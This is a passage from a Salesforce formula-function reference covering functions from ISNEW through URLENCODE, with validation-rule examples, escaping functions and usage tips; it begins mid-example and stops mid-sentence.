YEAR(TODAY())),$Profile.Name <> "Sales
Manager")) is a validation rule that prevents a user from
changing the Close Date of an opportunity to a date outside
of the current month and year unless that user has the “Sales
Manager” profile.
Note: $Profile merge fields are only available in
Enterprise, Unlimited, and Developer Editions.

Tips: • This function is available only in:


- Assignment rules
- Validation rules
- Field updates
- Workflow rules if the trigger type is set to Every
time a record is created or edited.

• Use the NOT function to reverse the return values of


TRUE and FALSE.
• This function returns FALSE when evaluating any field
on a newly created record.
• If a text field was previously blank, this function returns
TRUE when it contains any value.

• For number, percent, or currency fields, this function
returns TRUE when:
- The field was blank and now contains any value
- The field was zero and now is blank
- The field was zero and now contains any other value

576
Customize Operators and Functions

ISNEW

Description: Checks if the formula is running during the creation of a new


record and returns TRUE if it is. If an existing record is being
updated, this function returns FALSE.
Use: ISNEW()

Validation Rule Example: Use the following validation rule to prevent users from creating
opportunities with a close date in the past. AND (ISNEW(),
CloseDate < TODAY()) checks if the user is creating a
new opportunity and, if so, ensures that the Close Date is
today or after today.
Use this validation rule to ensure users add at least one product
to an opportunity after they have created it.

NOT(OR(ISNEW(),HasOpportunityLineItem))

In this example, the validation rule formula displays the


following error message when an existing opportunity does
not have any products: “You must add products to this
opportunity before saving.” This does not display an error on
the initial save because they cannot add products until after
saving the record initially; but it prevents them from resaving
or closing an opportunity that does not contain products.

Tips: • This function is available only in validation rules, field


updates, and workflow rules.
• Use the NOT function to reverse the return values of
TRUE and FALSE.
• This function always returns FALSE when used in a
workflow rule with a time-based trigger.
• This function always returns FALSE when used in a field
update for an approval action.

ISNULL

Description: Determines if an expression is null (blank) and returns TRUE


if it is. If it contains a value, this function returns FALSE.
Note: Use ISBLANK instead of ISNULL in new
formulas. ISBLANK has the same functionality as
ISNULL, but also supports text fields. Salesforce.com
will continue to support ISNULL, so you do not need
to change any existing formulas.

Use: ISNULL(expression) and replace expression with the


expression you want evaluated.

577
Customize Operators and Functions

Example: (IF(ISNULL(Maint_Amount__c), 0, 1) +
IF(ISNULL(Services_Amount__c), 0,1) +
IF(ISNULL(Discount_Percent__c), 0, 1) +
IF(ISNULL(Amount), 0, 1) +
IF(ISNULL(Timeline__c), 0, 1)) / 5

This formula takes a group of opportunity fields and calculates


what percent of them are being used by your sales personnel.
This formula field checks five fields to see if they are blank.
If so, a zero is counted for that field. A “1” is counted for any
field that contains a value and this total is divided by five (the
number of fields evaluated). Note that this formula requires
you select the Treat blank fields as blanks option
under Blank Field Handling while the Advanced Formula
subtab is showing.

Validation Rule Example: AND(ISPICKVAL(StageName, "Closed Won"),


ISNULL(Project_Start_Date__c))

This validation rule makes the Project Start Date


custom date field conditionally required whenever the
opportunity stage is “Closed Won.”

Tips: • Text fields are never null, so using this function with a text
field always returns false. For example, the formula field
IF(ISNULL(new__c) 1, 0) is always zero regardless
of the value in the New field. For text fields, use the
ISBLANK function instead.
• Multi-select picklist fields are never null in s-controls,
buttons, and email templates, so using this function with
a multi-select picklist field in those contexts always returns
false.
• Empty date and date/time fields always return true when
referenced in ISNULL functions.
• Choose Treat blank fields as blanks for your
formula when referencing a number, percent, or currency
field in an ISNULL function. Choosing Treat blank
fields as zeroes gives blank fields the value of zero
so none of them will be null.
• Merge fields can be handled as blanks, which can affect
the results of components like s-controls because they can
call this function.
• When using a validation rule to ensure that a number field
contains a specific value, use the ISNULL function to
include fields that do not contain any value. For example,
to validate that a custom field contains a value of '1,' use
the following validation rule to display an error if the field
is blank or any other number:

OR(ISNULL(field__c), field__c<>1)

578
Customize Operators and Functions

ISNUMBER

Description: Determines if a text value is a number and returns TRUE if


it is. Otherwise, it returns FALSE.
Use: ISNUMBER(text) and replace text with the merge field
name for the text field.
Validation Rule Example: OR(LEN(Bank_Account_Number__c) <> 10,
NOT(ISNUMBER(Bank_Account_Number__c)))

This validation rule ensures a custom text field called Bank


Account Number is a number of 10 digits and is not blank.

Tips: • This function returns FALSE for blank values.


• The ISNUMBER function is not aware of your locale.
For example, ISNUMBER("123,12") and ISNUMBER("1
000") return FALSE even if the user's locale is “French.”
• Chinese, Japanese, Korean, and special characters including
a space return FALSE.
• The ISNUMBER function returns TRUE for scientific
formatting such as “2E2” or “123.123.”

ISPICKVAL

Description: Determines if the value of a picklist field is equal to a text


literal you specify.
Use: ISPICKVAL(picklist_field, text_literal) and
replace picklist_field with the merge field name for the
picklist; replace text_literal with the picklist value in
quotes. text_literal cannot be a merge field or the result
of a function.
Examples: Contract Activation
IF(ISPICKVAL(Status, "Activated"),
NOW()-ActivatedDate, null) calculates the number of
days since the contract was activated. If the contract status is
not “Activated,” this field is blank.
Commission Amounts

IF(ISPICKVAL(StageName, "Closed Won"),


ROUND(Amount *0.02, 2), 0)

This example calculates the commission amount for any


opportunity that has a “Closed Won” stage. The value of this
field will be the amount times 0.02 for any closed/won
opportunity. Open or lost opportunities will have a zero
commission value.

579
Customize Operators and Functions

Competitor-Triggered Workflow

ISPICKVAL(Stage, “Closed Lost”) &&


INCLUDES(Competitor__c, “Acme”)

This formula in a workflow rule configures Salesforce.com to


trigger the associated workflow actions if the Competitor
multi-select picklist field on a lost opportunity is Acme.
Tips: • Replace picklist_field with a custom or standard field
of type picklist.
• Your text_literal expression must be of type text and
enclosed in quotes. It cannot be a merge field or the result
of a function.
• Use CASE functions to determine if a picklist value is
equal to a particular value.
• When using the ISPICKVAL function to return the
previous value of a picklist field, include the
PRIORVALUE function inside the ISPICKVAL function
as in this example:

ISPICKVAL(PRIORVALUE(picklist_field),
text_literal)

JSENCODE

Description: Encodes text and merge field values for use in JavaScript by
inserting escape characters, such as a backslash (\), before
unsafe JavaScript characters, such as the apostrophe (').
Use: {!JSENCODE(text)} and replace text with the merge field
or text string that contains the unsafe JavaScript characters.
Example: If the merge field foo__c contains <B>Enter the user's
name<b>, {!JSENCODE(foo__c)} results in:
\u003CB\u003EEnter the user\'s
name\u003C\/b\u003E

JSINHTMLENCODE

Description: Encodes text and merge field values for use in JavaScript within
HTML tags by inserting escape characters before unsafe
JavaScript characters and replacing characters that are reserved
in HTML with HTML entity equivalents.
Use: {!JSINHTMLENCODE(text)} and replace text with the
merge field or text string that contains the unsafe JavaScript
characters.

580
Customize Operators and Functions

Example: If the merge field foo__c contains <B>Enter the


user's name<b>, {!JSINHTMLENCODE(foo__c)} results
in: &lt;B&gt;Enter the user&#39;s
name&lt;/b&gt;

LEFT

Description: Returns the specified number of characters from the beginning


of a text string.
Use: LEFT(text, num_chars) and replace text with the field
or expression you want returned; replace num_chars with the
number of characters from the left you want returned.
Example: TRIM(LEFT(LastName, 5)) & "-" &
TRIM(RIGHT(SSN__c, 4))
This formula displays the first five characters of the contact’s
last name and the last four characters of the contact’s social
security number separated by a dash. Note that this example
uses a text custom field called SSN on contacts.

Tips: • Reference auto-number fields as text fields in formulas.


• If the num_chars value is less than zero, Salesforce.com
replaces the value with zero.

LEN

Description: Returns the number of characters in a specified text string.


Use: LEN(text) and replace text with the field or expression
whose length you want returned.
Example: LEN(PartNumber__c)
This formula returns the number of characters in a Product
Code field.

LINKTO

Description: Returns a relative URL in the form of a link (href and anchor
tags) for a custom s-control or Salesforce.com page.
Use: {!LINKTO(label, target, id, [inputs], [no
override]} and replace label with the text for the link,
target with the URL, and id with a reference to the record.
Inputs are optional and can include any additional parameters
you want to add to the link. The no override argument is
also optional and defaults to “false.” It applies to targets for
standard Salesforce.com pages such as $Action.Account.New.
Replace no override with “true” when you want to display

581
Customize Operators and Functions

a standard Salesforce.com page regardless of whether you have


defined an override for it elsewhere.
S-Control Example: New Account S-Control

<html>
<body>
{!LINKTO("Create a New Account",
$Action.Account.New,
$ObjectType.Account)}
</body>
</html>

This example allows users to click a link to create a new


account. It is useful in account list views or Web tabs where
you want users to create an account directly from that page.
Use the $Action global variable to access the new account page
in Salesforce.com.
New Email Window S-Control

<html>
<body>
{!LINKTO("Email link",
"mailto:support@yourcompany.com?
subject=Please%20Help")};
</body>
</html>

This example launches a new email window addressed to


support@yourcompany.com with the subject “Please Help”
whenever a user clicks “Mail link.”
Link to Another S-Control

<html>
<body>
{!LINKTO("Check for duplicates",
$Scontrol.dedup_account, Account.Id)}
</body>
</html>

Use this example to generate a page containing a hyperlink


labeled “Check for duplicates.” When users click this link,
Salesforce.com runs your custom s-control. This example
assumes you have already created a custom s-control to find
duplicate accounts and merge their information.

Tips: • Avoid using this function in an inline s-control if you want


it to open in a new window.
• Enclose multiple inputs in brackets to indicate they are
together:

{!LINKTO("View Case", $Action.Case.View,


Case.Id, [parm1="A", parm2="B"])}

582
Customize Operators and Functions

• Set inputs to null if you do not have any to pass yet you
want to set the no override argument:

{!LINKTO("View Case", $Action.Case.View,


Case.Id, null, true)}

• When you override the tab home page for a standard or


custom tab, set target to the “Tab” $Action global
variable and id to the object type. For example,
LINKTO("Accounts Tab", $Action.Account.Tab,
$ObjectType.Account)
• This function is only available in custom buttons, links,
and s-controls.

LN

Description: Returns the natural logarithm of a specified number. Natural


logarithms are based on the constant e value of
2.71828182845904.
Use: LN(number) and replace number with the field or expression
for which you want the natural logarithm. Note: the LN
function is the inverse of the EXP function.
Example: LN(10) returns the natural logarithm of 10, which is 2.30.
LN(Value__c) returns the natural logarithm of a custom
number field called Value.

LOG

Description: Returns the base 10 logarithm of a number.


Use: LOG(number) and replace number with the field or expression
from which you want the base 10 logarithm calculated.
Example: Salary
LOG(Salary__c) calculates the logarithm of a person’s salary.
In this example, Salary is a custom currency field.
Hydrogen
-LOG(Hydrogen__c) calculates the pH and acidity using
the LOG function and a custom number field called
Hydrogen, which represents the concentration of Hydrogen
ions in the liquid measured in moles per liter.

583
Customize Operators and Functions

LOWER

Description: Converts all letters in the specified text string to lowercase.


Any characters that are not letters are unaffected by this
function. Locale rules are applied if a locale is provided.
Use: LOWER(text, [locale]) and replace text with the field
or text you wish to convert to lowercase. and locale with the
optional two-character ISO language code or five-character
locale code, if available. For information on supported
languages, see What languages does Salesforce.com support?.
Example: SALESFORCE.COM
LOWER("SALESFORCE.COM") returns “salesforce.com.”
Ticker Symbol
LOWER(TickerSymbol) returns the text in Ticker Symbol
in lower case characters.
Applying Turkish Language Locale Rules
The Turkish language has two versions of the letter i: one
dotted and one dotless. The locale rules for Turkish require
the ability to capitalize the dotted i, and allow the dotless I to
be lowercase. To correctly use the LOWER() function with the
Turkish language locale, use the Turkish locale code tr in the
LOWER() function as follows:
LOWER(text, "tr")
This ensures that Salesforce.com does not transform any dotted
i in the text to a dotless I.

LPAD

Description: Inserts spaces or characters you specify to the left-side of a


text string.
Use: LPAD(text, padded_length[, pad_string]) and
replace the variables:
• text is the field or expression you want to insert spaces
or characters to the left of.
• padded_length is the number of total characters in the
text that will be returned.
• pad_string is the character or characters that should be
inserted. pad_string is optional and defaults to a blank
space.
If the value in text is longer than pad_string, text is
truncated to the size of padded_length.
Example: Account Name: Padding
LPAD(Name, 20) truncates the Name field after 20
characters or inserts spaces to the left of the name until the

584
Customize Operators and Functions

entire value is 20 characters long. For example, if the name is


salesforce.com, the value returned is "......salesforce.com."
My_Company: No Change
LPAD('my_company.com', 14, 'z') returns
“my_company.com” without change because it has 14
characters.
Account Name Padded with Z
LPAD(Name, 15, 'z') returns the name “zsalesforce.com.”
Account Name: Truncating
LPAD(Name, 2) truncates the name after the second
character. For example, if the name is salesforce.com, the
value returned is “sa.”

MAX

Description: Returns the highest number from a list of numbers.


Use: MAX(number, number,...) and replace number with the
fields or expressions from which you want to retrieve the
highest number.
Example: Service Charge
MAX(0.06 * Total_Cost__c,
Min_Service_Charge__c)
In this example, the formula field calculates a service charge
of 6% of the total cost or a minimum service charge, whichever
is greater. Note that Min Service Charge is a custom
currency field with a default value of $15. However, you could
make it a formula field if your minimum service charge is
always the same amount.
Book Royalties

MAX(0.10 * Pages__c,
(Retail_Price__c * 0.07) * Total_Sold__c)

This formula determines which amount to pay in royalties for


a book. It displays the greater of two amounts: $0.07 for each
book sold or $0.10 per page. It assumes you have custom
number fields for Pages and Total Sold and a custom
currency field for Retail Price.
Commissions

MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

This formula determines what commission to log for an asset


based on which is greater: the user's commission percentage

585
Customize Operators and Functions

of the price, the price times the discount percent stored for
the account or 100 dollars. This example assumes you have
two custom percent fields on users and assets.

MID

Description: Returns the specified number of characters from the middle


of a text string given the starting position.
Use: MID(text, start_num, num_chars) and replace text
with the field or expression to use when returning characters;
replace start_num with the number of characters from the
left to use as a starting position; replace num_chars with the
total number of characters to return.
Example: MID(Division, 3, 4) returns four characters of the
Division name beginning with the third character from the
left. On a user record, this represents the department code.

MIN

Description: Returns the lowest number from a list of numbers.


Use: MIN(number, number,...) and replace number with the
fields or expressions from which you want to retrieve the lowest
number.
Example: 401K Matching

MIN(250, Contribution__c /2)

This example formula determines which amount to provide


in employee 401K matching based on a matching program of
half of the employee's contribution or $250, whichever is less.
It assumes you have custom currency field for Contribution.
Bonus

MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

This example determines an employee's bonus amount based


on the smallest of two amounts: the employee's gross times
bonus percent or an equally divided amount of the company's
performance amount among all employees. It assumes you
have custom number field for Number of Employees, a
custom percent field for Bonus Percent, and currency
custom fields for the employee's Gross and company's
Performance.

586
Customize Operators and Functions

MOD

Description: Returns a remainder after a number is divided by a specified divisor.


Use: MOD(number, divisor) and replace number with the field or expression you want
divided; replace divisor with the number to use as the divisor.
Example: MOD(3, 3) returns 0
MOD(4, 3) returns 1
MOD(123, 100) returns 23
You may want to prevent users from scheduling meetings on a Saturday or Sunday. Use
the following example to apply a validation rule to a custom date field calledMy Date.

CASE(MOD(My_Date__c - DATE(1900, 1, 7), 7),


0, 0,
6, 0,
1) = 0

This example displays the following error message when the value of My Date is not
Monday through Friday: “My Date is not a weekday.”

MONTH

Description: Returns the month, a number between 1 ( January) and 12 (December) in number format
of a given date.
Use: MONTH(date) and replace date with the field or expression for the date containing
the month you want returned.
Example: SLA Expiration
MONTH(SLAExpirationDate__c) returns the month that your service-level agreement
expires. This example uses a custom date field called SLA Expiration Date.
Current Month
MONTH(TODAY()) returns the current month in a number format. For example, the
month of February would be the value “2.”

NOT

Description: Returns FALSE for TRUE and TRUE for FALSE.


Use: NOT(logical) and replace logical with the expression that you want evaluated.

Example: IF(NOT(ISPICKVAL(Status, "Closed")), ROUND(NOW()-CreatedDate,


0), null checks to see if a case is open and if so, calculates the number of days it has
been open by subtracting the date and time created from the current date and time. The
result is the number of days open rounded to zero decimal places. If the case is not open,
this field is blank.

587
Customize Operators and Functions

NOW

Description: Returns a date/time representing the current moment.


Use: NOW()

Example: IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)


This formula checks to see if a lead is open and if so, calculates the number of days it
has been open by subtracting the date and time created from the current date and time.
The result is the number of days open rounded to zero decimal places. If the lead is not
open, this field is blank.

Tips: • Do not remove the parentheses.


• Keep the parentheses empty. They do not need to contain a value.
• Use a date/time field in a NOW function instead of a date field. Created Date
and Last Modified Date are date/time fields whereas Last Activity Date
is a date field.
• Use TODAY if you prefer to use a date field.
• Dates and times are always calculated using the user’s time zone.
• Use addition and subtraction operators with a NOW function and other date/time
fields to return a number, representing number of days. For example NOW() -
CreatedDate calculates the number of days since the created date of a record. In
this example, the formula field data type is a number.
• Use addition and subtraction operators with a NOW function and numbers to return
a date and time. For example NOW() +5 calculates the date and time five days ahead
of now. In this example, the formula field data type is a date/time.

NULLVALUE

Description: Determines if an expression is null (blank) and returns a substitute expression if it is. If
the expression is not blank, returns the value of the expression.
Note: Use BLANKVALUE instead of NULLVALUE in new formulas.
BLANKVALUE has the same functionality as NULLVALUE, but also supports
text fields. Salesforce.com will continue to support NULLVALUE, so you do
not need to change existing formulas.

Use: NULLVALUE(expression, substitute_expression) and replace expression


with the expression you want to evaluate; replace substitute_expression with the
value you want to replace any blank values.
Example: (NULLVALUE(Payment_Due_Date__c, StartDate +5)
This formula returns the date five days after the contract start date whenever Payment
Due Date is blank. Payment Due Date is a custom date field on contracts.

Tips: • Avoid using this function with text fields because they are never null even when they
are blank. Instead, use the BLANKVALUE function to determine if a text field is
blank.
• Choose Treat blank fields as blanks for your formula when referencing
a number, percent, or currency field in a NULLVALUE function. Choosing Treat

588
Customize Operators and Functions

blank fields as zeroes gives blank fields the value of zero so none of them
will be null.
• Use the same data type for both the expression and substitute_expression.

OR

Description: Determines if expressions are true or false. Returns TRUE if any expression is true.
Returns FALSE if all expressions are false. Use this function as an alternative to the
operator || (OR).
Use: OR(logical1, logical2...) and replace any number of logical references with
the expressions you want evaluated.
Formula Field Example: IF(OR(ISPICKVAL(Priority, "High"), ISPICKVAL(Status, "New")),
ROUND(NOW()-CreatedDate, 0), null)
This formula returns the number of days a case has been open if the Status is new or
the Priority is high. If the case was opened today, this field displays a zero.

Validation Rule Example: OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

This validation rule formula displays the following error message when the Discount
Rate custom field is not between 0 and 40%: “Discount Rate cannot exceed 40%.”

PARENTGROUPVAL

Description: A summary function that returns the value of the selected


summary field from the parent grouping level that you specify.
Parent grouping levels are those above the grouping level where
you chose to display the formula. For matrix reports, choose
both row and column grouping levels.
You can use this function only in the context of creating
custom summary formulas for summary reports.

Use: PARENTGROUPVAL(summary_field, grouping_level)


and replace summary_field and grouping_level with
the expressions you want evaluated.
Example: TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM,

GRAND_SUMMARY)

This custom summary formula calculates the size of one


product compared to other products for a report on
opportunities and their products, grouped by product name.

PREVGROUPVAL

Description: A summary function that returns the value of the selected


summary field from the previous summary row at the grouping

589
Customize Operators and Functions

level that you specify. For matrix reports, the summary_field


you choose controls whether a previous row or column is
returned. The increment determines how many steps previous
to the current summary field to return. The default increment
is 1. The maximum increment is 12.
You can use this function only in the context of creating
custom summary formulas for summary reports.

Use: PREVGROUPVAL(summary_field, grouping_level


[, increment]) and replace summary_field,
grouping_level, and increment with the expressions
you want evaluated.
Example: AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM,
CLOSE_DATE)

This custom summary formula calculates the change (positive


or negative) for a given month compared to the previous visible
month in the report. In this example, the report is an
opportunity matrix grouped by opportunity close date (in the
columns) and stage (in the rows).

PRIORVALUE

Description: Returns the previous value of a field.


Use: PRIORVALUE(field)

Validation Rule Example: The following validation rule prevents users from changing the expected revenue of an
opportunity after it is closed: AND(PRIORVALUE(Amount) > Amount, IsClosed).
Tips: • This function is available only in:
- Assignment rules
- Validation rules
- Field updates
- Workflow rules if the trigger type is set to Every time a record is
created or edited.

• This function does not return default values.


• When users create a new record, this function returns the value of the field
referenced rather than null. For example, if you create an account named “Acme,”
PRIORVALUE(Account.Name) returns Acme.
• When using the ISPICKVAL function to return the previous value of a picklist
field, include the PRIORVALUE function inside the ISPICKVAL function as in
this example:

ISPICKVAL(PRIORVALUE(picklist_field),
text_literal)

590
Customize Operators and Functions

• Use the PRIORVALUE function inside the INCLUDES function to check if the
previous value of a multi-select picklist field included a specific value. For example:

INCLUDES(
PRIORVALUE(multiselect_picklist_field),text_literal
)

REGEX

Description: Compares a text field to a regular expression and returns TRUE if there is a match.
Otherwise, it returns FALSE. A regular expression is a string used to describe a format
of a string according to certain syntax rules.
Use: REGEX(text, regex_text) and replace text with the text field, and regex_text
with the regular expression you want to match.
Validation Rule Example:
This example ensures that a custom field called SSN matches a regular expression
representing a valid social security number format of the form 999-99-9999.

NOT(
OR(
LEN (SSN__c) = 0,
REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

Tips: • Regular expression syntax is based on Java Platform SE 6 syntax. However, backslash
characters (\) must be changed to double backslashes (\\) because backslash is an
escape character in Salesforce.com.
• The Salesforce.com regular expression engine matches an entire string as opposed
to searching for a match within a string. For example, if you are searching for the
name Marc Benioff, use the regular expression, .*Marc Benioff.*, to find a
match in a string like the following:

According to Marc Benioff, Salesforce increases customer


success.

If you use the regular expression, Marc Benioff, the only string that this regular
expression will match is:

Marc Benioff

• Capture groups and substitutions are ignored.


• This function is available everywhere formulas exist except formula fields and default
values.

591
Customize Operators and Functions

REQUIRESCRIPT

Description: Returns a script tag with source for a URL you specify. Use this function when
referencing the Force.com AJAX Toolkit or other JavaScript toolkits.
Use: {!REQUIRESCRIPT(url)} and replace url with the link for the script that is required.
For the AJAX Toolkit:

{!requireScript("/soap/ajax/13.0/connection.js")}

Returns:

<script src="/soap/ajax/13.0/connection.js"></script>

For Dojo:

{!requireScript("/js/dojo/0.3.1/dojo.js")}

Returns:

<script src="/js/dojo/0.3.1/dojo.js"></script>

Custom Button Example: {!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}


var c = new sforce.SObject("Case");
c.id = "{!Case.Id}";
c.Status = "New";
result = sforce.connection.update([c]);
window.location.reload();

This example sets the Status of a case to “New” whenever a user clicks a custom button
from the case detail page. To set this up in your organization, define a custom button
for cases that has the following attributes:
• Display Type is “Detail Page Button”
• Behavior is “Execute JavaScript”
• Content Source is “OnClick JavaScript”

Next, paste the content above into your custom button definition and add it to your
case page layouts.

Tips: • Use global variables to access special merge fields for s-controls.
• Use this function when creating custom buttons or links where you have set the
Behavior to “Execute JavaScript” and Content Source to “OnClick JavaScript”
because the script tag should be outside the OnClick code.
• This function is only available for custom buttons and links that have Content
Source set to “OnClick JavaScript.”
• When working in Visualforce, use INCLUDESCRIPT instead.

RIGHT

Description: Returns the specified number of characters from the end of a text string.

592
Customize Operators and Functions

Use: RIGHT(text, num_chars) and replace text with the field or expression you want
returned; replace num_chars with the number of characters from the right you want
returned.
Example: TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4)) displays the first
five characters of the contact’s last name and the last four characters of the contact’s
social security number separated by a dash. Note that this assumes you have a text custom
field called SSN on contacts.
Tips: • Reference auto-number fields as text fields in formulas.
• If the num_chars value is less than zero, Salesforce.com replaces the value with
zero.

ROUND

Description: Returns the nearest number to a number you specify, constraining the new number by
a specified number of digits.
Use: ROUND(number, num_digits) and replace number with the field or expression you
want rounded; replace num_digits with the number of decimal places you want to
consider when rounding.
Example: ROUND (1.5, 0) = 2
ROUND (1.2345, 0) = 1
ROUND (-1.5, 0) = -2
ROUND (225.49823, 2) = 255.50
Simple Discounting
ROUND(Amount-Amount* Discount_Percent__c,2)
Use this formula to calculate the discounted amount of an opportunity rounded off to
two digits. This example is a number formula field on opportunities that uses a custom
percent field called Discount Percent.

Tips: • Enter zero for num_digits to round a number to the nearest integer.
• Salesforce.com automatically rounds numbers based on the decimal places you specify.
For example, a custom number field with two decimal places stores 1.50 when you
enter 1.49999.
• The decimal numbers displayed depend on the decimal places you selected when
defining the field in the custom field wizard.The num_digits represents the number
of digits considered when rounding.

RPAD

Description: Inserts blank spaces or characters that you specify to the right-side of a text string.
Use: RPAD(text, padded_length[, 'pad_string']) and replace the variables:
• text is the field or expression after which you want to insert spaces or characters.
• pad_length is the number of total characters in the text string that will be returned.

593
Customize Operators and Functions

• pad_string is the character or characters that should be inserted. pad_string is


optional and defaults to a blank space.
If the value in text is longer than pad_string, text is truncated to the size of
padded_length.

Example: Account Name: Padding Default


RPAD(Name, 20) truncates the Name field after 20 characters if the name is longer
than 20 characters or inserts spaces to the right of the existing name until the name is
20 characters long. For example, if the name is salesforce.com, the value returned
is “salesforce.com .”
My_Company: No Change
RPAD('my_company.com', 14, 'z') returns “my_company.com” without change
because it has 14 characters.
Account Name: Padding with a Character
RPAD(Name, 15, 'z') returns “salesforce.comz” .
Account Name: Truncating
RPAD(Name, 2) truncates the name after the second character. For example, if the
name is salesforce.com, the value returned is “sa.”

SQRT

Description: Returns the positive square root of a given number.


Use: SQRT(number) and replace number with the field or expression you want computed
into a square root.
Example: SQRT(25)returns the square root of 25, which is 5.
Amplitude
SQRT(Amplitude__c) returns the square root of a custom number field representing
the amplitude of an earthquake.

Tips: • Calculating the square root of a negative number results in an error on the detail
page.
• Avoid division by zero errors by including an IF function such as:
IF(Amplitude__c >= 0, SQRT(Amplitude__c), null).

SUBSTITUTE

Description: Substitutes new text for old text in a text string.


Use: SUBSTITUTE(text, old_text, new_text) and replace text with the field or
value for which you want to substitute values, old_text with the text you want replaced,
and new_text with the text you want to replace the old_text.

594
Customize Operators and Functions

Example: SUBSTITUTE(Name, "Coupon", "Discount")returns the name of an opportunity


that contains the term “Coupon” with the opportunity name plus “Discount” wherever
the term “Coupon” existed.
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the
location of the @ sign in a person's email address to determine the length of text to
replace with a “www.” as a means of deriving their website address.

Tips: • Each term provided in quotes is case sensitive.


• If the old_text appears more than once, each occurrence is replaced with the
new_text value provided even when that results in duplicates.

TEXT

Description: Converts a percent, number, date, date/time, or currency type field into text anywhere
formulas are used. Also, converts picklist values to text in validation rules, formula fields,
and field updates.
Use: TEXT(value) and replace value with the field or expression you want to convert to
text format. Avoid using any special characters besides a decimal point (period) or minus
sign (dash) in this function.
Example: Expected Revenue in Text
TEXT(ExpectedRevenue) returns the expected revenue amount of an opportunity
in text format without a dollar sign. For example, if the Expected Revenue of a
campaign is "$200,000," this formula field displays “200000.”
Asset ID
SerialNumber &"-"& TEXT(Quantity) returns an asset ID number starting with
the serial number and ending with the quantity separated by a dash. The Serial
Number field is already text but the Quantity field is a number, requiring the TEXT
function before it.
Use Picklist Values in Math Equations

VALUE(LEFT(TEXT(Quantity), 5)) * Unit

This formula multiplies the first five numbers of the Quantity picklist by the Unit
numeric field.
Compare Two Picklists

IF(TEXT(bug_status) = TEXT(case_status), “Match”, “Out of Sync”)

This formula compares the values of the bug_status picklist with values of the
case_status picklist.
Display Picklist Values From Parent Records

TEXT(Account.Industry)

This formula field on opportunities shows the industry of the associated account.

595
Customize Operators and Functions

Concatenate Picklist Values

TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)

This formula field on opportunities shows the industry and subindustry of the associated
account.

Validation Rule Examples: Block the Save of a Closed Opportunity


CONTAINS(TEXT(Status), "Closed") returns TRUE if the Status picklist
contains the value “Closed,” such as “Closed Won” and “Closed Lost.” This validation
rule formula blocks users from saving changes to a closed opportunity.
Use Numeric Functions on Numeric Picklist Values
VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 multiplies the first five
numbers of the Quantity picklist by the Unit numeric field, and returns TRUE if
the result is greater than 10,000.
Directly Compare Two Picklists
TEXT(bug_status) = TEXT(case_status) compares the values of the bug_status
picklist with values of the case_status picklist, and returns TRUE if they are equal.

Tips: • The returned text is not formatted with any currency, percent symbols, or commas.
• Values are not sensitive to locale. For example, 24.42 EUR are converted into the
number 24.42.
• Percents are returned in the form of a decimal.
• Dates are returned in the form of YYYY-MM-DD, that is, a four-digit year and
two-digit month and day.
• Date/time values are returned in the form of YYYY-MM-DD HH:MM:SSZ where
YYYY is a four-digit year, MM is a two-digit month, DD is a two-digit day, HH
is the two-digit hour, MM are the minutes, SS are the seconds, and Z represents
the zero meridian indicating the time is returned in UTC time zone.
• Picklist fields are only supported in TEXT functions used in validation rule formulas,
formula fields, and field updates. In other formulas, use ISPICKVAL or CASE
when referencing a picklist field.
• The TEXT function always returns picklist values in your organization's master
language, not the language of the current user.

TODAY

Description: Returns the current date as a date data type.


Use: TODAY()

Example: TODAY()-Date_in_approval__c calculates how many days a contract is in the


approval process. This example is a number formula field on contracts that uses a custom
date field called Date in approval.

596
Customize Operators and Functions

Validation Rule Example: CloseDate < TODAY()

This example ensures that users cannot change the Close Date of an opportunity to
any date in the past.

Tips: • Do not remove the parentheses.


• Keep the parentheses empty. They do not need to contain a value.
• Use a date field with a TODAY function instead of a date/time field. Last
Activity Date is a date field whereas Created Date and Last Modified
Date are date/time fields.
• See NOW if you prefer to use a date/time field.
• Dates and times are always calculated using the user’s time zone.
• Use addition and subtraction operators with a TODAY function and other date
fields to return a number, representing number of days. For example
TODAY()-LastActivityDate calculates the number of days since the last activity
date. In this example, the formula field data type is a number.
• Use addition and subtraction operators with a TODAY function and numbers to
return a date. For example TODAY() +5 calculates the date five days ahead of today.
In this example, the formula field data type is a date.

TRIM

Description: Removes the spaces and tabs from the beginning and end of a text string.
Use: TRIM(text) and replace text with the field or expression you want to trim.

Example: TRIM(LEFT(LastName,5))& "-" & RIGHT(FirstName, 1) returns a network


ID for users that contains the first five characters of their last name and first character
of their first name separated by a dash.

UPPER

Description: Converts all letters in the specified text string to uppercase. Any characters that are not
letters are unaffected by this function. Locale rules are applied if a locale is provided.
Use: UPPER(text, [locale]) and replace text with the field or expression you wish to
convert to uppercase, and locale with the optional two-character ISO language code
or five-character locale code, if available. For information on supported languages, see
What languages does Salesforce.com support?.
Example: SALESFORCE.COM
UPPER("salesforce.com") returns “SALESFORCE.COM.”
SALESFORCE.COM 123
UPPER("Salesforce.com 123") returns “SALESFORCE.COM 123.”
Applying Turkish Language Locale Rules
The Turkish language has two versions of the letter i: one dotted and one dotless. The
locale rules for Turkish require the ability to capitalize the dotted i, and allow the dotless

597
Customize Operators and Functions

I to be lowercase. To correctly use the UPPER() function with the Turkish language
locale, use the Turkish locale code tr in the UPPER() function as follows:
UPPER(text, "tr")
This ensures that Salesforce.com does not transform any dotted i in the text to a dotless
I.

URLENCODE

Description: Encodes text and merge field values for use in URLs by
replacing characters that are illegal in URLs, such as blank
spaces, with the code that represent those characters as defined
in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax.
For example, blank spaces are replaced with %20, and
exclamation points are replaced with %21.
Use: {!URLENCODE(text)} and replace text with the merge
field or text string that you want to encode.
Example: If the merge field foo__c contains <B>Mark's page<b>,
{!URLENCODE(foo_c)} results in:
%3CB%3EMark%27s%20page%3C%2Fb%3E

Tips: • Custom buttons and links with URL content sources have
separate encoding settings. If you use the URLENCODE
